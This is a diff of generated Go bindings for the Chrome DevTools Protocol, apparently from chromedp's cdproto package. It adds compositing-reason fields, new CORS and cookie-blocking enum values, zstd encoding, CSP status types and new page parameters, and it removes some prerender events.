ID float64 `json:"id,omitempty"` // Identifier used to track touch sources between events, must be unique within an event.
|
||||
}
|
||||
|
||||
+50
-8
@@ -1793,6 +1793,29 @@ func easyjsonC5a4559bDecodeGithubComChromedpCdprotoLayertree19(in *jlexer.Lexer,
|
||||
continue
|
||||
}
|
||||
switch key {
|
||||
case "compositingReasons":
|
||||
if in.IsNull() {
|
||||
in.Skip()
|
||||
out.CompositingReasons = nil
|
||||
} else {
|
||||
in.Delim('[')
|
||||
if out.CompositingReasons == nil {
|
||||
if !in.IsDelim(']') {
|
||||
out.CompositingReasons = make([]string, 0, 4)
|
||||
} else {
|
||||
out.CompositingReasons = []string{}
|
||||
}
|
||||
} else {
|
||||
out.CompositingReasons = (out.CompositingReasons)[:0]
|
||||
}
|
||||
for !in.IsDelim(']') {
|
||||
var v22 string
|
||||
v22 = string(in.String())
|
||||
out.CompositingReasons = append(out.CompositingReasons, v22)
|
||||
in.WantComma()
|
||||
}
|
||||
in.Delim(']')
|
||||
}
|
||||
case "compositingReasonIds":
|
||||
if in.IsNull() {
|
||||
in.Skip()
|
||||
@@ -1809,9 +1832,9 @@ func easyjsonC5a4559bDecodeGithubComChromedpCdprotoLayertree19(in *jlexer.Lexer,
|
||||
out.CompositingReasonIDs = (out.CompositingReasonIDs)[:0]
|
||||
}
|
||||
for !in.IsDelim(']') {
|
||||
var v22 string
|
||||
v22 = string(in.String())
|
||||
out.CompositingReasonIDs = append(out.CompositingReasonIDs, v22)
|
||||
var v23 string
|
||||
v23 = string(in.String())
|
||||
out.CompositingReasonIDs = append(out.CompositingReasonIDs, v23)
|
||||
in.WantComma()
|
||||
}
|
||||
in.Delim(']')
|
||||
@@ -1830,17 +1853,36 @@ func easyjsonC5a4559bEncodeGithubComChromedpCdprotoLayertree19(out *jwriter.Writ
|
||||
out.RawByte('{')
|
||||
first := true
|
||||
_ = first
|
||||
if len(in.CompositingReasonIDs) != 0 {
|
||||
const prefix string = ",\"compositingReasonIds\":"
|
||||
if len(in.CompositingReasons) != 0 {
|
||||
const prefix string = ",\"compositingReasons\":"
|
||||
first = false
|
||||
out.RawString(prefix[1:])
|
||||
{
|
||||
out.RawByte('[')
|
||||
for v23, v24 := range in.CompositingReasonIDs {
|
||||
if v23 > 0 {
|
||||
for v24, v25 := range in.CompositingReasons {
|
||||
if v24 > 0 {
|
||||
out.RawByte(',')
|
||||
}
|
||||
out.String(string(v24))
|
||||
out.String(string(v25))
|
||||
}
|
||||
out.RawByte(']')
|
||||
}
|
||||
}
|
||||
if len(in.CompositingReasonIDs) != 0 {
|
||||
const prefix string = ",\"compositingReasonIds\":"
|
||||
if first {
|
||||
first = false
|
||||
out.RawString(prefix[1:])
|
||||
} else {
|
||||
out.RawString(prefix)
|
||||
}
|
||||
{
|
||||
out.RawByte('[')
|
||||
for v26, v27 := range in.CompositingReasonIDs {
|
||||
if v26 > 0 {
|
||||
out.RawByte(',')
|
||||
}
|
||||
out.String(string(v27))
|
||||
}
|
||||
out.RawByte(']')
|
||||
}
|
||||
|
||||
+5
-3
@@ -36,6 +36,7 @@ func CompositingReasons(layerID LayerID) *CompositingReasonsParams {
|
||||
|
||||
// CompositingReasonsReturns return values.
|
||||
type CompositingReasonsReturns struct {
|
||||
CompositingReasons []string `json:"compositingReasons,omitempty"` // A list of strings specifying reasons for the given layer to become composited.
|
||||
CompositingReasonIDs []string `json:"compositingReasonIds,omitempty"` // A list of strings specifying reason IDs for the given layer to become composited.
|
||||
}
|
||||
|
||||
@@ -43,16 +44,17 @@ type CompositingReasonsReturns struct {
|
||||
//
|
||||
// returns:
|
||||
//
|
||||
// compositingReasons - A list of strings specifying reasons for the given layer to become composited.
|
||||
// compositingReasonIDs - A list of strings specifying reason IDs for the given layer to become composited.
|
||||
func (p *CompositingReasonsParams) Do(ctx context.Context) (compositingReasonIDs []string, err error) {
|
||||
func (p *CompositingReasonsParams) Do(ctx context.Context) (compositingReasons []string, compositingReasonIDs []string, err error) {
|
||||
// execute
|
||||
var res CompositingReasonsReturns
|
||||
err = cdp.Execute(ctx, CommandCompositingReasons, p, &res)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
return nil, nil, err
|
||||
}
|
||||
|
||||
return res.CompositingReasonIDs, nil
|
||||
return res.CompositingReasons, res.CompositingReasonIDs, nil
|
||||
}
|
||||
|
||||
// DisableParams disables compositing tree inspection.
|
||||
|
||||
+386
-252
File diff suppressed because it is too large.
Load diff
+3
-4
@@ -45,10 +45,9 @@ type EventLoadingFailed struct {
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/Network#event-loadingFinished
|
||||
type EventLoadingFinished struct {
|
||||
RequestID RequestID `json:"requestId"` // Request identifier.
|
||||
Timestamp *cdp.MonotonicTime `json:"timestamp"` // Timestamp.
|
||||
EncodedDataLength float64 `json:"encodedDataLength"` // Total number of bytes received for this request.
|
||||
ShouldReportCorbBlocking bool `json:"shouldReportCorbBlocking,omitempty"` // Set when 1) response was blocked by Cross-Origin Read Blocking and also 2) this needs to be reported to the DevTools console.
|
||||
RequestID RequestID `json:"requestId"` // Request identifier.
|
||||
Timestamp *cdp.MonotonicTime `json:"timestamp"` // Timestamp.
|
||||
EncodedDataLength float64 `json:"encodedDataLength"` // Total number of bytes received for this request.
|
||||
}
|
||||
|
||||
// EventRequestServedFromCache fired if request ended up loading from cache.
|
||||
|
||||
+118
-32
@@ -450,6 +450,7 @@ type ResourceTiming struct {
|
||||
SendEnd float64 `json:"sendEnd"` // Finished sending request.
|
||||
PushStart float64 `json:"pushStart"` // Time the server started pushing request.
|
||||
PushEnd float64 `json:"pushEnd"` // Time the server finished pushing request.
|
||||
ReceiveHeadersStart float64 `json:"receiveHeadersStart"` // Started receiving response headers.
|
||||
ReceiveHeadersEnd float64 `json:"receiveHeadersEnd"` // Finished receiving response headers.
|
||||
}
|
||||
|
||||
@@ -705,36 +706,40 @@ func (t CorsError) String() string {
|
||||
|
||||
// CorsError values.
|
||||
const (
|
||||
CorsErrorDisallowedByMode CorsError = "DisallowedByMode"
|
||||
CorsErrorInvalidResponse CorsError = "InvalidResponse"
|
||||
CorsErrorWildcardOriginNotAllowed CorsError = "WildcardOriginNotAllowed"
|
||||
CorsErrorMissingAllowOriginHeader CorsError = "MissingAllowOriginHeader"
|
||||
CorsErrorMultipleAllowOriginValues CorsError = "MultipleAllowOriginValues"
|
||||
CorsErrorInvalidAllowOriginValue CorsError = "InvalidAllowOriginValue"
|
||||
CorsErrorAllowOriginMismatch CorsError = "AllowOriginMismatch"
|
||||
CorsErrorInvalidAllowCredentials CorsError = "InvalidAllowCredentials"
|
||||
CorsErrorCorsDisabledScheme CorsError = "CorsDisabledScheme"
|
||||
CorsErrorPreflightInvalidStatus CorsError = "PreflightInvalidStatus"
|
||||
CorsErrorPreflightDisallowedRedirect CorsError = "PreflightDisallowedRedirect"
|
||||
CorsErrorPreflightWildcardOriginNotAllowed CorsError = "PreflightWildcardOriginNotAllowed"
|
||||
CorsErrorPreflightMissingAllowOriginHeader CorsError = "PreflightMissingAllowOriginHeader"
|
||||
CorsErrorPreflightMultipleAllowOriginValues CorsError = "PreflightMultipleAllowOriginValues"
|
||||
CorsErrorPreflightInvalidAllowOriginValue CorsError = "PreflightInvalidAllowOriginValue"
|
||||
CorsErrorPreflightAllowOriginMismatch CorsError = "PreflightAllowOriginMismatch"
|
||||
CorsErrorPreflightInvalidAllowCredentials CorsError = "PreflightInvalidAllowCredentials"
|
||||
CorsErrorPreflightMissingAllowExternal CorsError = "PreflightMissingAllowExternal"
|
||||
CorsErrorPreflightInvalidAllowExternal CorsError = "PreflightInvalidAllowExternal"
|
||||
CorsErrorPreflightMissingAllowPrivateNetwork CorsError = "PreflightMissingAllowPrivateNetwork"
|
||||
CorsErrorPreflightInvalidAllowPrivateNetwork CorsError = "PreflightInvalidAllowPrivateNetwork"
|
||||
CorsErrorInvalidAllowMethodsPreflightResponse CorsError = "InvalidAllowMethodsPreflightResponse"
|
||||
CorsErrorInvalidAllowHeadersPreflightResponse CorsError = "InvalidAllowHeadersPreflightResponse"
|
||||
CorsErrorMethodDisallowedByPreflightResponse CorsError = "MethodDisallowedByPreflightResponse"
|
||||
CorsErrorHeaderDisallowedByPreflightResponse CorsError = "HeaderDisallowedByPreflightResponse"
|
||||
CorsErrorRedirectContainsCredentials CorsError = "RedirectContainsCredentials"
|
||||
CorsErrorInsecurePrivateNetwork CorsError = "InsecurePrivateNetwork"
|
||||
CorsErrorInvalidPrivateNetworkAccess CorsError = "InvalidPrivateNetworkAccess"
|
||||
CorsErrorUnexpectedPrivateNetworkAccess CorsError = "UnexpectedPrivateNetworkAccess"
|
||||
CorsErrorNoCorsRedirectModeNotFollow CorsError = "NoCorsRedirectModeNotFollow"
|
||||
CorsErrorDisallowedByMode CorsError = "DisallowedByMode"
|
||||
CorsErrorInvalidResponse CorsError = "InvalidResponse"
|
||||
CorsErrorWildcardOriginNotAllowed CorsError = "WildcardOriginNotAllowed"
|
||||
CorsErrorMissingAllowOriginHeader CorsError = "MissingAllowOriginHeader"
|
||||
CorsErrorMultipleAllowOriginValues CorsError = "MultipleAllowOriginValues"
|
||||
CorsErrorInvalidAllowOriginValue CorsError = "InvalidAllowOriginValue"
|
||||
CorsErrorAllowOriginMismatch CorsError = "AllowOriginMismatch"
|
||||
CorsErrorInvalidAllowCredentials CorsError = "InvalidAllowCredentials"
|
||||
CorsErrorCorsDisabledScheme CorsError = "CorsDisabledScheme"
|
||||
CorsErrorPreflightInvalidStatus CorsError = "PreflightInvalidStatus"
|
||||
CorsErrorPreflightDisallowedRedirect CorsError = "PreflightDisallowedRedirect"
|
||||
CorsErrorPreflightWildcardOriginNotAllowed CorsError = "PreflightWildcardOriginNotAllowed"
|
||||
CorsErrorPreflightMissingAllowOriginHeader CorsError = "PreflightMissingAllowOriginHeader"
|
||||
CorsErrorPreflightMultipleAllowOriginValues CorsError = "PreflightMultipleAllowOriginValues"
|
||||
CorsErrorPreflightInvalidAllowOriginValue CorsError = "PreflightInvalidAllowOriginValue"
|
||||
CorsErrorPreflightAllowOriginMismatch CorsError = "PreflightAllowOriginMismatch"
|
||||
CorsErrorPreflightInvalidAllowCredentials CorsError = "PreflightInvalidAllowCredentials"
|
||||
CorsErrorPreflightMissingAllowExternal CorsError = "PreflightMissingAllowExternal"
|
||||
CorsErrorPreflightInvalidAllowExternal CorsError = "PreflightInvalidAllowExternal"
|
||||
CorsErrorPreflightMissingAllowPrivateNetwork CorsError = "PreflightMissingAllowPrivateNetwork"
|
||||
CorsErrorPreflightInvalidAllowPrivateNetwork CorsError = "PreflightInvalidAllowPrivateNetwork"
|
||||
CorsErrorInvalidAllowMethodsPreflightResponse CorsError = "InvalidAllowMethodsPreflightResponse"
|
||||
CorsErrorInvalidAllowHeadersPreflightResponse CorsError = "InvalidAllowHeadersPreflightResponse"
|
||||
CorsErrorMethodDisallowedByPreflightResponse CorsError = "MethodDisallowedByPreflightResponse"
|
||||
CorsErrorHeaderDisallowedByPreflightResponse CorsError = "HeaderDisallowedByPreflightResponse"
|
||||
CorsErrorRedirectContainsCredentials CorsError = "RedirectContainsCredentials"
|
||||
CorsErrorInsecurePrivateNetwork CorsError = "InsecurePrivateNetwork"
|
||||
CorsErrorInvalidPrivateNetworkAccess CorsError = "InvalidPrivateNetworkAccess"
|
||||
CorsErrorUnexpectedPrivateNetworkAccess CorsError = "UnexpectedPrivateNetworkAccess"
|
||||
CorsErrorNoCorsRedirectModeNotFollow CorsError = "NoCorsRedirectModeNotFollow"
|
||||
CorsErrorPreflightMissingPrivateNetworkAccessID CorsError = "PreflightMissingPrivateNetworkAccessId"
|
||||
CorsErrorPreflightMissingPrivateNetworkAccessName CorsError = "PreflightMissingPrivateNetworkAccessName"
|
||||
CorsErrorPrivateNetworkAccessPermissionUnavailable CorsError = "PrivateNetworkAccessPermissionUnavailable"
|
||||
CorsErrorPrivateNetworkAccessPermissionDenied CorsError = "PrivateNetworkAccessPermissionDenied"
|
||||
)
|
||||
|
||||
// MarshalEasyJSON satisfies easyjson.Marshaler.
|
||||
@@ -811,6 +816,14 @@ func (t *CorsError) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
*t = CorsErrorUnexpectedPrivateNetworkAccess
|
||||
case CorsErrorNoCorsRedirectModeNotFollow:
|
||||
*t = CorsErrorNoCorsRedirectModeNotFollow
|
||||
case CorsErrorPreflightMissingPrivateNetworkAccessID:
|
||||
*t = CorsErrorPreflightMissingPrivateNetworkAccessID
|
||||
case CorsErrorPreflightMissingPrivateNetworkAccessName:
|
||||
*t = CorsErrorPreflightMissingPrivateNetworkAccessName
|
||||
case CorsErrorPrivateNetworkAccessPermissionUnavailable:
|
||||
*t = CorsErrorPrivateNetworkAccessPermissionUnavailable
|
||||
case CorsErrorPrivateNetworkAccessPermissionDenied:
|
||||
*t = CorsErrorPrivateNetworkAccessPermissionDenied
|
||||
|
||||
default:
|
||||
in.AddError(fmt.Errorf("unknown CorsError value: %v", v))
|
||||
@@ -1024,7 +1037,7 @@ type Response struct {
|
||||
EncodedDataLength float64 `json:"encodedDataLength"` // Total number of bytes received for this request so far.
|
||||
Timing *ResourceTiming `json:"timing,omitempty"` // Timing information for the given request.
|
||||
ServiceWorkerResponseSource ServiceWorkerResponseSource `json:"serviceWorkerResponseSource,omitempty"` // Response source of response from ServiceWorker.
|
||||
ResponseTime *cdp.TimeSinceEpoch `json:"responseTime,omitempty"` // The time at which the returned response was generated.
|
||||
ResponseTime *cdp.TimeSinceEpochMilli `json:"responseTime,omitempty"` // The time at which the returned response was generated.
|
||||
CacheStorageCacheName string `json:"cacheStorageCacheName,omitempty"` // Cache Storage Cache Name.
|
||||
Protocol string `json:"protocol,omitempty"` // Protocol used to fetch this request.
|
||||
AlternateProtocolUsage AlternateProtocolUsage `json:"alternateProtocolUsage,omitempty"` // The reason why Chrome uses a specific transport protocol for HTTP semantics.
|
||||
@@ -1124,6 +1137,7 @@ const (
|
||||
SetCookieBlockedReasonSameSiteUnspecifiedTreatedAsLax SetCookieBlockedReason = "SameSiteUnspecifiedTreatedAsLax"
|
||||
SetCookieBlockedReasonSameSiteNoneInsecure SetCookieBlockedReason = "SameSiteNoneInsecure"
|
||||
SetCookieBlockedReasonUserPreferences SetCookieBlockedReason = "UserPreferences"
|
||||
SetCookieBlockedReasonThirdPartyPhaseout SetCookieBlockedReason = "ThirdPartyPhaseout"
|
||||
SetCookieBlockedReasonThirdPartyBlockedInFirstPartySet SetCookieBlockedReason = "ThirdPartyBlockedInFirstPartySet"
|
||||
SetCookieBlockedReasonSyntaxError SetCookieBlockedReason = "SyntaxError"
|
||||
SetCookieBlockedReasonSchemeNotSupported SetCookieBlockedReason = "SchemeNotSupported"
|
||||
@@ -1137,6 +1151,8 @@ const (
|
||||
SetCookieBlockedReasonSamePartyFromCrossPartyContext SetCookieBlockedReason = "SamePartyFromCrossPartyContext"
|
||||
SetCookieBlockedReasonSamePartyConflictsWithOtherAttributes SetCookieBlockedReason = "SamePartyConflictsWithOtherAttributes"
|
||||
SetCookieBlockedReasonNameValuePairExceedsMaxSize SetCookieBlockedReason = "NameValuePairExceedsMaxSize"
|
||||
SetCookieBlockedReasonDisallowedCharacter SetCookieBlockedReason = "DisallowedCharacter"
|
||||
SetCookieBlockedReasonNoCookieContent SetCookieBlockedReason = "NoCookieContent"
|
||||
)
|
||||
|
||||
// MarshalEasyJSON satisfies easyjson.Marshaler.
|
||||
@@ -1165,6 +1181,8 @@ func (t *SetCookieBlockedReason) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
*t = SetCookieBlockedReasonSameSiteNoneInsecure
|
||||
case SetCookieBlockedReasonUserPreferences:
|
||||
*t = SetCookieBlockedReasonUserPreferences
|
||||
case SetCookieBlockedReasonThirdPartyPhaseout:
|
||||
*t = SetCookieBlockedReasonThirdPartyPhaseout
|
||||
case SetCookieBlockedReasonThirdPartyBlockedInFirstPartySet:
|
||||
*t = SetCookieBlockedReasonThirdPartyBlockedInFirstPartySet
|
||||
case SetCookieBlockedReasonSyntaxError:
|
||||
@@ -1191,6 +1209,10 @@ func (t *SetCookieBlockedReason) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
*t = SetCookieBlockedReasonSamePartyConflictsWithOtherAttributes
|
||||
case SetCookieBlockedReasonNameValuePairExceedsMaxSize:
|
||||
*t = SetCookieBlockedReasonNameValuePairExceedsMaxSize
|
||||
case SetCookieBlockedReasonDisallowedCharacter:
|
||||
*t = SetCookieBlockedReasonDisallowedCharacter
|
||||
case SetCookieBlockedReasonNoCookieContent:
|
||||
*t = SetCookieBlockedReasonNoCookieContent
|
||||
|
||||
default:
|
||||
in.AddError(fmt.Errorf("unknown SetCookieBlockedReason value: %v", v))
|
||||
@@ -1223,6 +1245,7 @@ const (
|
||||
CookieBlockedReasonSameSiteUnspecifiedTreatedAsLax CookieBlockedReason = "SameSiteUnspecifiedTreatedAsLax"
|
||||
CookieBlockedReasonSameSiteNoneInsecure CookieBlockedReason = "SameSiteNoneInsecure"
|
||||
CookieBlockedReasonUserPreferences CookieBlockedReason = "UserPreferences"
|
||||
CookieBlockedReasonThirdPartyPhaseout CookieBlockedReason = "ThirdPartyPhaseout"
|
||||
CookieBlockedReasonThirdPartyBlockedInFirstPartySet CookieBlockedReason = "ThirdPartyBlockedInFirstPartySet"
|
||||
CookieBlockedReasonUnknownError CookieBlockedReason = "UnknownError"
|
||||
CookieBlockedReasonSchemefulSameSiteStrict CookieBlockedReason = "SchemefulSameSiteStrict"
|
||||
@@ -1262,6 +1285,8 @@ func (t *CookieBlockedReason) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
*t = CookieBlockedReasonSameSiteNoneInsecure
|
||||
case CookieBlockedReasonUserPreferences:
|
||||
*t = CookieBlockedReasonUserPreferences
|
||||
case CookieBlockedReasonThirdPartyPhaseout:
|
||||
*t = CookieBlockedReasonThirdPartyPhaseout
|
||||
case CookieBlockedReasonThirdPartyBlockedInFirstPartySet:
|
||||
*t = CookieBlockedReasonThirdPartyBlockedInFirstPartySet
|
||||
case CookieBlockedReasonUnknownError:
|
||||
@@ -1426,7 +1451,7 @@ type SignedExchangeHeader struct {
|
||||
ResponseCode int64 `json:"responseCode"` // Signed exchange response code.
|
||||
ResponseHeaders Headers `json:"responseHeaders"` // Signed exchange response headers.
|
||||
Signatures []*SignedExchangeSignature `json:"signatures"` // Signed exchange response signature.
|
||||
HeaderIntegrity string `json:"headerIntegrity"` // Signed exchange header integrity hash in the form of "sha256-<base64-hash-value>".
|
||||
HeaderIntegrity string `json:"headerIntegrity"` // Signed exchange header integrity hash in the form of sha256-<base64-hash-value>.
|
||||
}
|
||||
|
||||
// SignedExchangeErrorField field type for a signed exchange related error.
|
||||
@@ -1520,6 +1545,7 @@ const (
|
||||
ContentEncodingDeflate ContentEncoding = "deflate"
|
||||
ContentEncodingGzip ContentEncoding = "gzip"
|
||||
ContentEncodingBr ContentEncoding = "br"
|
||||
ContentEncodingZstd ContentEncoding = "zstd"
|
||||
)
|
||||
|
||||
// MarshalEasyJSON satisfies easyjson.Marshaler.
|
||||
@@ -1542,6 +1568,8 @@ func (t *ContentEncoding) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
*t = ContentEncodingGzip
|
||||
case ContentEncodingBr:
|
||||
*t = ContentEncodingBr
|
||||
case ContentEncodingZstd:
|
||||
*t = ContentEncodingZstd
|
||||
|
||||
default:
|
||||
in.AddError(fmt.Errorf("unknown ContentEncoding value: %v", v))
|
||||
@@ -1799,12 +1827,67 @@ type CrossOriginEmbedderPolicyStatus struct {
|
||||
ReportOnlyReportingEndpoint string `json:"reportOnlyReportingEndpoint,omitempty"`
|
||||
}
|
||||
|
||||
// ContentSecurityPolicySource [no description].
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/Network#type-ContentSecurityPolicySource
|
||||
type ContentSecurityPolicySource string
|
||||
|
||||
// String returns the ContentSecurityPolicySource as string value.
|
||||
func (t ContentSecurityPolicySource) String() string {
|
||||
return string(t)
|
||||
}
|
||||
|
||||
// ContentSecurityPolicySource values.
|
||||
const (
|
||||
ContentSecurityPolicySourceHTTP ContentSecurityPolicySource = "HTTP"
|
||||
ContentSecurityPolicySourceMeta ContentSecurityPolicySource = "Meta"
|
||||
)
|
||||
|
||||
// MarshalEasyJSON satisfies easyjson.Marshaler.
|
||||
func (t ContentSecurityPolicySource) MarshalEasyJSON(out *jwriter.Writer) {
|
||||
out.String(string(t))
|
||||
}
|
||||
|
||||
// MarshalJSON satisfies json.Marshaler.
|
||||
func (t ContentSecurityPolicySource) MarshalJSON() ([]byte, error) {
|
||||
return easyjson.Marshal(t)
|
||||
}
|
||||
|
||||
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
|
||||
func (t *ContentSecurityPolicySource) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
v := in.String()
|
||||
switch ContentSecurityPolicySource(v) {
|
||||
case ContentSecurityPolicySourceHTTP:
|
||||
*t = ContentSecurityPolicySourceHTTP
|
||||
case ContentSecurityPolicySourceMeta:
|
||||
*t = ContentSecurityPolicySourceMeta
|
||||
|
||||
default:
|
||||
in.AddError(fmt.Errorf("unknown ContentSecurityPolicySource value: %v", v))
|
||||
}
|
||||
}
|
||||
|
||||
// UnmarshalJSON satisfies json.Unmarshaler.
|
||||
func (t *ContentSecurityPolicySource) UnmarshalJSON(buf []byte) error {
|
||||
return easyjson.Unmarshal(buf, t)
|
||||
}
|
||||
|
||||
// ContentSecurityPolicyStatus [no description].
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/Network#type-ContentSecurityPolicyStatus
|
||||
type ContentSecurityPolicyStatus struct {
|
||||
EffectiveDirectives string `json:"effectiveDirectives"`
|
||||
IsEnforced bool `json:"isEnforced"`
|
||||
Source ContentSecurityPolicySource `json:"source"`
|
||||
}
|
||||
|
||||
// SecurityIsolationStatus [no description].
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/Network#type-SecurityIsolationStatus
|
||||
type SecurityIsolationStatus struct {
|
||||
Coop *CrossOriginOpenerPolicyStatus `json:"coop,omitempty"`
|
||||
Coep *CrossOriginEmbedderPolicyStatus `json:"coep,omitempty"`
|
||||
Csp []*ContentSecurityPolicyStatus `json:"csp,omitempty"`
|
||||
}
|
||||
|
||||
// ReportStatus the status of a Reporting API report.
|
||||
@@ -2194,6 +2277,7 @@ func (t TrustTokenOperationDoneStatus) String() string {
|
||||
const (
|
||||
TrustTokenOperationDoneStatusOk TrustTokenOperationDoneStatus = "Ok"
|
||||
TrustTokenOperationDoneStatusInvalidArgument TrustTokenOperationDoneStatus = "InvalidArgument"
|
||||
TrustTokenOperationDoneStatusMissingIssuerKeys TrustTokenOperationDoneStatus = "MissingIssuerKeys"
|
||||
TrustTokenOperationDoneStatusFailedPrecondition TrustTokenOperationDoneStatus = "FailedPrecondition"
|
||||
TrustTokenOperationDoneStatusResourceExhausted TrustTokenOperationDoneStatus = "ResourceExhausted"
|
||||
TrustTokenOperationDoneStatusAlreadyExists TrustTokenOperationDoneStatus = "AlreadyExists"
|
||||
@@ -2223,6 +2307,8 @@ func (t *TrustTokenOperationDoneStatus) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
*t = TrustTokenOperationDoneStatusOk
|
||||
case TrustTokenOperationDoneStatusInvalidArgument:
|
||||
*t = TrustTokenOperationDoneStatusInvalidArgument
|
||||
case TrustTokenOperationDoneStatusMissingIssuerKeys:
|
||||
*t = TrustTokenOperationDoneStatusMissingIssuerKeys
|
||||
case TrustTokenOperationDoneStatusFailedPrecondition:
|
||||
*t = TrustTokenOperationDoneStatusFailedPrecondition
|
||||
case TrustTokenOperationDoneStatusResourceExhausted:
|
||||
|
||||
+673
-840
File diff suppressed because it is too large.
Load diff
-31
@@ -143,37 +143,6 @@ type EventBackForwardCacheNotUsed struct {
|
||||
NotRestoredExplanationsTree *BackForwardCacheNotRestoredExplanationTree `json:"notRestoredExplanationsTree,omitempty"` // Tree structure of reasons why the page could not be cached for each frame.
|
||||
}
|
||||
|
||||
// EventPrerenderAttemptCompleted fired when a prerender attempt is
|
||||
// completed.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/Page#event-prerenderAttemptCompleted
|
||||
type EventPrerenderAttemptCompleted struct {
|
||||
InitiatingFrameID cdp.FrameID `json:"initiatingFrameId"` // The frame id of the frame initiating prerendering.
|
||||
PrerenderingURL string `json:"prerenderingUrl"`
|
||||
FinalStatus PrerenderFinalStatus `json:"finalStatus"`
|
||||
DisallowedAPIMethod string `json:"disallowedApiMethod,omitempty"` // This is used to give users more information about the name of the API call that is incompatible with prerender and has caused the cancellation of the attempt
|
||||
}
|
||||
|
||||
// EventPrefetchStatusUpdated tODO(crbug/1384419): Create a dedicated domain
|
||||
// for preloading. Fired when a prefetch attempt is updated.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/Page#event-prefetchStatusUpdated
|
||||
type EventPrefetchStatusUpdated struct {
|
||||
InitiatingFrameID cdp.FrameID `json:"initiatingFrameId"` // The frame id of the frame initiating prefetch.
|
||||
PrefetchURL string `json:"prefetchUrl"`
|
||||
Status PreloadingStatus `json:"status"`
|
||||
}
|
||||
|
||||
// EventPrerenderStatusUpdated tODO(crbug/1384419): Create a dedicated domain
|
||||
// for preloading. Fired when a prerender attempt is updated.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/Page#event-prerenderStatusUpdated
|
||||
type EventPrerenderStatusUpdated struct {
|
||||
InitiatingFrameID cdp.FrameID `json:"initiatingFrameId"` // The frame id of the frame initiating prerender.
|
||||
PrerenderingURL string `json:"prerenderingUrl"`
|
||||
Status PreloadingStatus `json:"status"`
|
||||
}
|
||||
|
||||
// EventLoadEventFired [no description].
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/Page#event-loadEventFired
|
||||
|
||||
+48
@@ -26,6 +26,7 @@ type AddScriptToEvaluateOnNewDocumentParams struct {
|
||||
Source string `json:"source"`
|
||||
WorldName string `json:"worldName,omitempty"` // If specified, creates an isolated world with the given name and evaluates given script in it. This world name will be used as the ExecutionContextDescription::name when the corresponding event is emitted.
|
||||
IncludeCommandLineAPI bool `json:"includeCommandLineAPI,omitempty"` // Specifies whether command line API should be available to the script, defaults to false.
|
||||
RunImmediately bool `json:"runImmediately,omitempty"` // If true, runs the script immediately on existing execution contexts or worlds. Default: false.
|
||||
}
|
||||
|
||||
// AddScriptToEvaluateOnNewDocument evaluates given script in every frame
|
||||
@@ -57,6 +58,13 @@ func (p AddScriptToEvaluateOnNewDocumentParams) WithIncludeCommandLineAPI(includ
|
||||
return &p
|
||||
}
|
||||
|
||||
// WithRunImmediately if true, runs the script immediately on existing
|
||||
// execution contexts or worlds. Default: false.
|
||||
func (p AddScriptToEvaluateOnNewDocumentParams) WithRunImmediately(runImmediately bool) *AddScriptToEvaluateOnNewDocumentParams {
|
||||
p.RunImmediately = runImmediately
|
||||
return &p
|
||||
}
|
||||
|
||||
// AddScriptToEvaluateOnNewDocumentReturns return values.
|
||||
type AddScriptToEvaluateOnNewDocumentReturns struct {
|
||||
Identifier ScriptIdentifier `json:"identifier,omitempty"` // Identifier of the added script.
|
||||
@@ -803,6 +811,7 @@ type PrintToPDFParams struct {
|
||||
FooterTemplate string `json:"footerTemplate,omitempty"` // HTML template for the print footer. Should use the same format as the headerTemplate.
|
||||
PreferCSSPageSize bool `json:"preferCSSPageSize,omitempty"` // Whether or not to prefer page size as defined by css. Defaults to false, in which case the content will be scaled to fit the paper size.
|
||||
TransferMode PrintToPDFTransferMode `json:"transferMode,omitempty"` // return as stream
|
||||
GenerateTaggedPDF bool `json:"generateTaggedPDF,omitempty"` // Whether or not to generate tagged (accessible) PDF. Defaults to embedder choice.
|
||||
}
|
||||
|
||||
// PrintToPDF print page as PDF.
|
||||
@@ -918,6 +927,13 @@ func (p PrintToPDFParams) WithTransferMode(transferMode PrintToPDFTransferMode)
|
||||
return &p
|
||||
}
|
||||
|
||||
// WithGenerateTaggedPDF whether or not to generate tagged (accessible) PDF.
|
||||
// Defaults to embedder choice.
|
||||
func (p PrintToPDFParams) WithGenerateTaggedPDF(generateTaggedPDF bool) *PrintToPDFParams {
|
||||
p.GenerateTaggedPDF = generateTaggedPDF
|
||||
return &p
|
||||
}
|
||||
|
||||
// PrintToPDFReturns return values.
|
||||
type PrintToPDFReturns struct {
|
||||
Data string `json:"data,omitempty"` // Base64-encoded pdf data. Empty if |returnAsStream| is specified.
|
||||
@@ -1667,6 +1683,37 @@ func (p *SetInterceptFileChooserDialogParams) Do(ctx context.Context) (err error
|
||||
return cdp.Execute(ctx, CommandSetInterceptFileChooserDialog, p, nil)
|
||||
}
|
||||
|
||||
// SetPrerenderingAllowedParams enable/disable prerendering manually. This
|
||||
// command is a short-term solution for https://crbug.com/1440085. See
|
||||
// https://docs.google.com/document/d/12HVmFxYj5Jc-eJr5OmWsa2bqTJsbgGLKI6ZIyx0_wpA
|
||||
// for more details. TODO(https://crbug.com/1440085): Remove this once Puppeteer
|
||||
// supports tab targets.
|
||||
type SetPrerenderingAllowedParams struct {
|
||||
IsAllowed bool `json:"isAllowed"`
|
||||
}
|
||||
|
||||
// SetPrerenderingAllowed enable/disable prerendering manually. This command
|
||||
// is a short-term solution for https://crbug.com/1440085. See
|
||||
// https://docs.google.com/document/d/12HVmFxYj5Jc-eJr5OmWsa2bqTJsbgGLKI6ZIyx0_wpA
|
||||
// for more details. TODO(https://crbug.com/1440085): Remove this once Puppeteer
|
||||
// supports tab targets.
|
||||
//
